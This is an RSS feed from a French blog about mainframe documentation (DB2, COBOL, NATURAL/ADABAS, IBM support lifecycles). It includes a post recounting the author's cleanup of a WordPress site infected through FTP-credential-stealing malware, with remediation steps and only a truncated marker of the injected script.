<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2frenchfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" version="2.0">

<channel>
	<title>Documentation Mainframe - Guillaume Ventre</title>
	
	<link>http://documentation-mainframe.net</link>
	<description>Compilation de documents techniques des langages, outils, concepts et technologies relatifs au monde mainframe (OS/390, MVS, z/OS) : Cobol, JCL, DB2, CICS, IMS, REXX, CLIST...</description>
	<lastBuildDate>Tue, 09 Mar 2010 23:36:11 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>fr</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/documentation-mainframe" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="documentation-mainframe" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.0/</creativeCommons:license><image><link>http://documentation-mainframe.net/</link><url>http://documentation-mainframe.net/WordPress/wp-content/uploads/guillaumeventre.jpg</url><title>Guillaume Ventre</title></image><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdocumentation-mainframe" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.bloglines.com/sub/http://feeds.feedburner.com/documentation-mainframe" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdocumentation-mainframe" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fdocumentation-mainframe" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdocumentation-mainframe" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://add.my.yahoo.com/content?lg=fr&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fdocumentation-mainframe" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/bn/intatm_fr_1.gif">Subscribe with Mon Yahoo!</feedburner:feedFlare><item>
		<title>DB2 : Redbooks et Redpapers</title>
		<link>http://documentation-mainframe.net/db2/db2-redbooks-et-redpapers</link>
		<comments>http://documentation-mainframe.net/db2/db2-redbooks-et-redpapers#comments</comments>
		<pubDate>Tue, 09 Mar 2010 23:36:11 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[DB2]]></category>
		<category><![CDATA[redbooks]]></category>
		<category><![CDATA[redpapers]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=520</guid>
		<description><![CDATA[Je viens de rajouter dans la page des ressources DB2 les Redbooks et Redpapers IBM liés à la version 9, vous y trouverez les liens directs vers les docs PDF suivants :
&#160;
Redbooks
Version 9
DB2 9 for z/OS: Using the Utilities Suite
DB2 9 for z/OS: Resource Serialization and Concurrency Control
DB2 9 for z/OS: Distributed Functions
DB2 9 for [...]]]></description>
			<content:encoded><![CDATA[<p>Je viens de rajouter dans la page des <a href="http://documentation-mainframe.net/db2">ressources DB2</a> les Redbooks et Redpapers IBM liés à la version 9, vous y trouverez les liens directs vers les docs PDF suivants :</p>
<p>&nbsp;</p>
<h3>Redbooks</h3>
<p>Version 9</p>
<li>DB2 9 for z/OS: Using the Utilities Suite</li>
<li>DB2 9 for z/OS: Resource Serialization and Concurrency Control</li>
<li>DB2 9 for z/OS: Distributed Functions</li>
<li>DB2 9 for z/OS: Packages Revisited</li>
<li>DB2 9 for z/OS: Deploying SOA Solutions</li>
<li>Enterprise Data Warehousing with DB2 9 for z/OS</li>
<li>DB2 9 for z/OS Stored Procedures: Through the CALL and Beyond</li>
<li>Best Practices for SAP BI using DB2 9 for z/OS</li>
<li>IBM DB2 9 for z/OS: New Tools for Query Optimization</li>
<li>DB2 9 for z/OS Performance Topics</li>
<li>Enhancing SAP by Using DB2 9 for z/OS</li>
<li>DB2 9 for z/OS Technical Overview</li>
<li>LOBs with DB2 for z/OS: Stronger and Faster</li>
<p>&nbsp;</p>
<h3>Redpapers</h3>
<p>Version 9</p>
<li>DB2 9 for z/OS: Configuring SSL for Secure Client-Server Communications</li>
<li>DB2 9 for z/OS: Buffer Pool Monitoring and Tuning</li>
<li>DB2 9 for z/OS: Backup and Recovery I/O Related Performance Considerations</li>
<li>DB2 9 for z/OS Data Sharing: Distributed Load Balancing and Fault Tolerant Configuration</li>
<li>DB2 for z/OS: Considerations on Small and Large Packages</li>
<li>Index Compression with DB2 9 for z/OS</li>
<li>How does the MIDAW Facility Improve the Performance of FICON Channels Using DB2 and other workloads?</li>
<li>Disk Storage Access with DB2 for z/OS</li>
<p>&nbsp;</p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 10/03/2010. |
<a href="http://documentation-mainframe.net/db2/db2-redbooks-et-redpapers">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/db2" rel="tag">DB2</a>, <a href="http://documentation-mainframe.net/tag/redbooks" rel="tag">redbooks</a>, <a href="http://documentation-mainframe.net/tag/redpapers" rel="tag">redpapers</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=sCmpT6dOPdM:6wgICiVrHxc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=sCmpT6dOPdM:6wgICiVrHxc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/db2/db2-redbooks-et-redpapers/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fin de support des logiciels IBM</title>
		<link>http://documentation-mainframe.net/autres/fin-de-support-des-logiciel-ibm</link>
		<comments>http://documentation-mainframe.net/autres/fin-de-support-des-logiciel-ibm#comments</comments>
		<pubDate>Tue, 09 Mar 2010 00:00:37 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Autres]]></category>
		<category><![CDATA[cycle de vie]]></category>
		<category><![CDATA[ibm]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=515</guid>
		<description><![CDATA[Quel est la date de fin de support de DB2 v8, de WAS 5&#8230;
La réponse sur le site d&#8217;IBM Support Lifecycle.
Attention ce sont les dates US. Pour la France, il faut récupérer le product ID (sur le lien précédent par exemple) puis aller sur le moteur de contenu d&#8217;information, modifier à droite son profile de [...]]]></description>
			<content:encoded><![CDATA[<p>Quel est la date de fin de support de DB2 v8, de WAS 5&#8230;</p>
<p>La réponse sur le site d&#8217;<a href="http://www-01.ibm.com/software/support/lifecycle/index_a_z.html">IBM Support Lifecycle</a>.</p>
<p>Attention ce sont les dates <strong>US</strong>. Pour la <strong>France</strong>, il faut récupérer le product ID (sur le lien précédent par exemple) puis aller sur le <a href="http://www-01.ibm.com/common/ssi/index.wss">moteur de contenu d&#8217;information</a>, modifier à droite son profile de recherche pour pointer sur la France, puis sélectionner &#8220;Annoucement letter&#8221; pour le type de contenu et renseigner le product ID qui va bien. Il ne reste plus qu&#8217;à faire le tri dans les lettres retournées.</p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 09/03/2010. |
<a href="http://documentation-mainframe.net/autres/fin-de-support-des-logiciel-ibm">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/cycle-de-vie" rel="tag">cycle de vie</a>, <a href="http://documentation-mainframe.net/tag/ibm" rel="tag">ibm</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=cnf9Cb0kM00:4u01Aq0BRHU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=cnf9Cb0kM00:4u01Aq0BRHU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/autres/fin-de-support-des-logiciel-ibm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Du Mainframe au cloud</title>
		<link>http://documentation-mainframe.net/autres/du-mainframe-au-cloud</link>
		<comments>http://documentation-mainframe.net/autres/du-mainframe-au-cloud#comments</comments>
		<pubDate>Thu, 04 Feb 2010 21:09:18 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Autres]]></category>
		<category><![CDATA[CA]]></category>
		<category><![CDATA[cloud computing]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[MVS]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=509</guid>
		<description><![CDATA[Vous avez sans doute déjà entendu parlé de cloud computing.
CA organise une dans le cadre sa Cloud Academy une session dédiée au mainframe : &#8220;Du Mainframe au cloud&#8221;.
Elle se déroule à la Défense le 26 mai 2010 de 8H30 à 11H00, pour s&#8217;inscrire, c&#8217;est ici.
J&#8217;essaierai d&#8217;y être.
NB : Cloud Academy, Mwarff ils ont fait fort [...]]]></description>
			<content:encoded><![CDATA[<p>Vous avez sans doute déjà entendu parlé de <a href="http://fr.wikipedia.org/wiki/Cloud_computing" title="Informatique dans les nuages sur Wikipedia">cloud computing</a>.</p>
<p><a href="http://www.ca.com/fr/" title="Computer Associates">CA</a> organise une dans le cadre sa <a href="http://www.ca.com/fr/cloud-academy/content.aspx?cid=227166" title="Cloud Academy">Cloud Academy</a> une session dédiée au mainframe : &#8220;Du Mainframe au cloud&#8221;.</p>
<p>Elle se déroule à la Défense le 26 mai 2010 de 8H30 à 11H00, pour s&#8217;inscrire, <a href="https://www.ca.com/fr/register/activity.aspx?cid=84522" title="Inscription et programme">c&#8217;est ici</a>.</p>
<p>J&#8217;essaierai d&#8217;y être.</p>
<p>NB : Cloud Academy, Mwarff ils ont fait fort pour le nom <img src='http://documentation-mainframe.net/WordPress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 04/02/2010. |
<a href="http://documentation-mainframe.net/autres/du-mainframe-au-cloud">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/ca" rel="tag">CA</a>, <a href="http://documentation-mainframe.net/tag/cloud-computing" rel="tag">cloud computing</a>, <a href="http://documentation-mainframe.net/tag/conference" rel="tag">conférence</a>, <a href="http://documentation-mainframe.net/tag/mvs" rel="tag">MVS</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=JVjfBImM_tA:-d1jaxaEVak:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=JVjfBImM_tA:-d1jaxaEVak:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/autres/du-mainframe-au-cloud/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Documentation officielle NATURAL / ADABAS</title>
		<link>http://documentation-mainframe.net/natural/documentation-officielle-natural-adabas</link>
		<comments>http://documentation-mainframe.net/natural/documentation-officielle-natural-adabas#comments</comments>
		<pubDate>Thu, 28 Jan 2010 10:02:52 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[ADABAS]]></category>
		<category><![CDATA[NATURAL]]></category>
		<category><![CDATA[user's guide]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=506</guid>
		<description><![CDATA[Software AG met à disposition les documents de référence en PDF sur NATURAL et ADABAS.

Article de Guillaume Ventre publié sur Documentation Mainframe, le 28/01/2010. &#124;
Lien direct vers cet article &#124; Follow me...

Tags: ADABAS, NATURAL, user's guide
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.softwareag.com/corporate/default.asp">Software AG</a> met à disposition les documents de référence en PDF sur <a href="http://documentation.softwareag.com/natural/nat426mf/general/print.htm">NATURAL</a> et <a href="http://documentation.softwareag.com/adabas/ada822mfr/adamf/general/print.htm">ADABAS</a>.</p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 28/01/2010. |
<a href="http://documentation-mainframe.net/natural/documentation-officielle-natural-adabas">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/adabas" rel="tag">ADABAS</a>, <a href="http://documentation-mainframe.net/tag/natural" rel="tag">NATURAL</a>, <a href="http://documentation-mainframe.net/tag/users-guide" rel="tag">user's guide</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=C5wtxKO7KsE:CbJy6EukwSU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=C5wtxKO7KsE:CbJy6EukwSU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/natural/documentation-officielle-natural-adabas/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>COBOL : File status keys</title>
		<link>http://documentation-mainframe.net/cobol/cobol-file-status-keys</link>
		<comments>http://documentation-mainframe.net/cobol/cobol-file-status-keys#comments</comments>
		<pubDate>Sun, 17 Jan 2010 18:56:24 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Cobol]]></category>
		<category><![CDATA[dev]]></category>
		<category><![CDATA[File status]]></category>
		<category><![CDATA[memento]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=457</guid>
		<description><![CDATA[Qu&#8217;est-ce que les file status, comment les mettre en place, quels sont les valeurs possibles ? 
Voici quelques questions qui trouveront réponses dans ce nouveau document :  COBOL &#8211; File Status Keys, état des fichiers.
Bonne lecture.

Article de Guillaume Ventre publié sur Documentation Mainframe, le 17/01/2010. &#124;
Lien direct vers cet article &#124; Follow me...

Tags: Cobol, [...]]]></description>
			<content:encoded><![CDATA[<p>Qu&#8217;est-ce que les file status, comment les mettre en place, quels sont les valeurs possibles ? </p>
<p>Voici quelques questions qui trouveront réponses dans ce nouveau document : <a href='http://documentation-mainframe.net/WordPress/wp-content/uploads/COBOL-File-Status-Keys.pdf'> COBOL &#8211; File Status Keys, état des fichiers</a>.</p>
<p>Bonne lecture.</p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 17/01/2010. |
<a href="http://documentation-mainframe.net/cobol/cobol-file-status-keys">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/cobol" rel="tag">Cobol</a>, <a href="http://documentation-mainframe.net/tag/dev" rel="tag">dev</a>, <a href="http://documentation-mainframe.net/tag/file-status" rel="tag">File status</a>, <a href="http://documentation-mainframe.net/tag/memento" rel="tag">memento</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=sqOf9mDrA44:A1N7AEctf9w:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=sqOf9mDrA44:A1N7AEctf9w:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/cobol/cobol-file-status-keys/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Documentation officielle DB2</title>
		<link>http://documentation-mainframe.net/db2/documentation-officielle-db2</link>
		<comments>http://documentation-mainframe.net/db2/documentation-officielle-db2#comments</comments>
		<pubDate>Wed, 30 Dec 2009 00:26:42 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[DB2]]></category>
		<category><![CDATA[user's guide]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=469</guid>
		<description><![CDATA[Je viens d&#8217;ajouter dans la page des ressources DB2 les documentations officielles IBM des versions 7, 8 et 9 for z/OS suivantes :

What’s New?
Application Programming &#38; SQL Guide
Application Programming Guide and Reference for Java
Codes
Command Reference
SQL Reference
Utility Guide and Reference
XML Guide


Article de Guillaume Ventre publié sur Documentation Mainframe, le 30/12/2009. &#124;
Lien direct vers cet article &#124; [...]]]></description>
			<content:encoded><![CDATA[<p>Je viens d&#8217;ajouter dans la page des <a href="http://documentation-mainframe.net/db2">ressources DB2</a> les documentations officielles IBM des versions 7, 8 et 9 for z/OS suivantes :</p>
<ul>
<li>What’s New?</li>
<li>Application Programming &amp; SQL Guide</li>
<li>Application Programming Guide and Reference for Java</li>
<li>Codes</li>
<li>Command Reference</li>
<li>SQL Reference</li>
<li>Utility Guide and Reference</li>
<li>XML Guide</li>
</ul>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 30/12/2009. |
<a href="http://documentation-mainframe.net/db2/documentation-officielle-db2">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/db2" rel="tag">DB2</a>, <a href="http://documentation-mainframe.net/tag/users-guide" rel="tag">user's guide</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=IFEeRftHZOU:DX6kcx0aqAA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=IFEeRftHZOU:DX6kcx0aqAA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/db2/documentation-officielle-db2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pourquoi est-il préférable de faire semblant que vous ne connaissez rien au sujet des ordinateurs</title>
		<link>http://documentation-mainframe.net/autres/pourquoi-est-il-preferable-de-faire-semblant-que-vous-ne-connaissez-rien-au-sujet-des-ordinateurs</link>
		<comments>http://documentation-mainframe.net/autres/pourquoi-est-il-preferable-de-faire-semblant-que-vous-ne-connaissez-rien-au-sujet-des-ordinateurs#comments</comments>
		<pubDate>Mon, 28 Dec 2009 22:48:14 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Autres]]></category>
		<category><![CDATA[fun]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=447</guid>
		<description><![CDATA[
Cela arrive aux meilleurs d&#8217;entre nous, un amis ou un membre de la famille vous demande de l&#8217;aide&#8230;
Ça commence toujours par une petite faveur&#8230;
Qui en entraine d&#8217;autres&#8230;
Une fois que vous aurez réparé quelque chose, vous serez considéré comme un génie de l&#8217;informatique&#8230;
A partir de maintenant ils n&#8217;appelleront plus le support technique, ils vous appelleront&#8230;
Finalement, ils compteront [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://theoatmeal.com/comics/computers"><img title="Pourquoi est-il préférable de faire semblant que vous ne connaissez rien à propos des ordinateurs" src="http://documentation-mainframe.net/WordPress/wp-content/uploads/theoatmeal_comics.png" alt="Pourquoi est-il préférable de faire semblant que vous ne connaissez rien à propos des ordinateurs" width="440" height="200" /></a></p>
<p>Cela arrive aux meilleurs d&#8217;entre nous, un amis ou un membre de la famille vous demande de l&#8217;aide&#8230;</p>
<p>Ça commence toujours par une petite faveur&#8230;</p>
<p>Qui en entraine d&#8217;autres&#8230;</p>
<p>Une fois que vous aurez réparé quelque chose, vous serez considéré comme un génie de l&#8217;informatique&#8230;</p>
<p>A partir de maintenant ils n&#8217;appelleront plus le support technique, ils vous appelleront&#8230;</p>
<p>Finalement, ils compteront sur vous pour tous leurs logiciels piratés, leur musique, leurs jeux&#8230;</p>
<p>Que Dieu vous vienne en aide s&#8217;ils obtiennent votre e-mail&#8230;</p>
<p>Ou votre facebook&#8230;</p>
<p>Ils pourraient vous demander de faire leur site web&#8230;</p>
<p>Vous serez bientôt support technique de tout et pas juste des ordinateurs.</p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 28/12/2009. |
<a href="http://documentation-mainframe.net/autres/pourquoi-est-il-preferable-de-faire-semblant-que-vous-ne-connaissez-rien-au-sujet-des-ordinateurs">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/fun" rel="tag">fun</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=pI6MGCgZjMY:vvTBTTZrem8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=pI6MGCgZjMY:vvTBTTZrem8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/autres/pourquoi-est-il-preferable-de-faire-semblant-que-vous-ne-connaissez-rien-au-sujet-des-ordinateurs/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware suite et fin</title>
		<link>http://documentation-mainframe.net/blog/malware-suite-et-fin</link>
		<comments>http://documentation-mainframe.net/blog/malware-suite-et-fin#comments</comments>
		<pubDate>Sun, 27 Dec 2009 23:48:27 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[securite]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=437</guid>
		<description><![CDATA[Le site/blog est maintenant stable.
A priori, l’infection provenait d’un malware sur mon PC qui utilisait mon client FTP pour se propager.
Merci aux sympathiques twittos qui m&#8217;ont conseillés sur twitter, au final j’ai fait une réinstalle de mon OS, un scan complet, réinstallé mon Wordpress à partir des sources officiels, réinjecté mes fichiers de config en les ayant nettoyés [...]]]></description>
			<content:encoded><![CDATA[<p>Le site/blog est maintenant stable.</p>
<p><em style="font-style: italic;">A priori</em>, <a title="From Hidden Iframes to Obfuscated Scripts" href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/">l’infection provenait d’un malware sur mon PC qui utilisait mon client FTP pour se propager</a>.</p>
<p>Merci aux sympathiques twittos qui m&#8217;ont conseillés sur <a title="Peut-êtreUneRéponse sur twitter" href="http://twitter.com/peutetreunerep">twitter</a>, au final j’ai fait une réinstalle de mon OS, un scan complet, réinstallé mon Wordpress à partir des sources officiels, réinjecté mes fichiers de config en les ayant nettoyés manuellement, modifié mon password FTP et maintenant je ne conserve plus en mémoire mes identifiants/password dans mon client FTP, en effet ils sont lisibles en dur dans un fichier XML, je ne le savais pas, le malware si! Lire à ce sujet cet<a title="10 FTP Clients Malware Steals Credentials From" href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/"> article très intéressant</a>.</p>
<p>Pour moi c&#8217;est trop tard mais pour ceux que ça intéresse il y a un correctif de Konstantin Boyko qui circule <a title="Gumblar-family virus removal tool" href="http://justcoded.com/article/gumblar-family-virus-removal-tool/">là</a>, <a title="BE AWARE! NEW VIRUS INFECTED MANY SERVERS TODAY!" href="http://maran.pamil-visions.com/view.php?id=174#">ici</a> et encore <a title="There is a new virus attacking websites hosted on linux servers, when you go to an infected website it just displays a white screen, but if you view the source you see something like this" href="http://www.seoforums.org/site-optimization/118-script-gnu-gpl-try-window-onload-function-var.html">là</a>. (!! ATTENTION !! en accédant à ces pages vous aurez sans doute une alerte de votre antivirus, c&#8217;est normal)</p>
<p>Il ne me reste plus qu&#8217;à peaufiner les détails du nouveau design, remettre le widget des commentaires récents et autres plugins qui vont bien&#8230;</p>
<p>Bonnes fêtes en passant.</p>
<p><strong style="font-weight: bold;">[Edit 28/12/2009 - 00:51]</strong> Je viens de remettre le smartlook d&#8217;issuu (lecture embarqué des pdf)</p>
<p><strong style="font-weight: bold;">[Edit 28/12/2009 - 23:16]</strong> Ajout du favicon, SEO, optimisation robots.txt</p>
<p><strong style="font-weight: bold;">[Edit 29/12/2009 - 01:15]</strong> Ajout du module &#8220;Quelques documents&#8221; avec les pdf embarqués d&#8217;issuu, Modification de titre du module de &#8220;liens&#8221; (ex. blogoliste)</p>
<p><strong style="font-weight: bold;">[Edit 06/01/2009 - 00:18 - @Marc-OH dans les commentaires]</strong></p>
<ol>
<li>Modification du mot de passe FTP côté serveur</li>
<li>sauvegarde de la base de données (elle n&#8217;est pas vérolée, elle servira en cas de pépin)</li>
<li>Récupération des fichiers : wp-config.php, .htaccess, robots.txt et wp-content/uploads/*</li>
<li>Suppression à la mano dans les fichiers récupérés du code en fin du source commençant par : <code>&lt;script&gt;/*GNU GPL*/ try...</code></li>
<li>Récupération d&#8217;un package Wordpress sur le site officiel ainsi que les plugins à installer et le thème choisi</li>
<li>Scan complet du PC avec suppression du pgm malveillant OU réinstallation de l&#8217;OS</li>
<li>Connexion par ftp SANS sauvegarder les login/password dans le client FTP</li>
<li>Suppression sur le serveur de tous les composant Wordpress</li>
<li>Installation du package wordpress sain</li>
<li>réinjection des fichier wp-config.php, .htaccess, robots.txt et wp-content/uploads/*</li>
<li>se connecter à l&#8217;admin, activer les plugins et le thème.</li>
<li>peaufiner en customisant le thème et les réglages des différents plugins</li>
</ol>
<p>Bon courage!</p>
<p><strong> </strong></p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 28/12/2009. |
<a href="http://documentation-mainframe.net/blog/malware-suite-et-fin">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/blog" rel="tag">Blog</a>, <a href="http://documentation-mainframe.net/tag/securite" rel="tag">securite</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=r8sy5xoEdP4:dHSoU6Oad7s:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=r8sy5xoEdP4:dHSoU6Oad7s:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/blog/malware-suite-et-fin/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>GNU GPL malware : Troj/JSRedir-AK</title>
		<link>http://documentation-mainframe.net/blog/gnu-gpl-malware-troj-jsredir-ak</link>
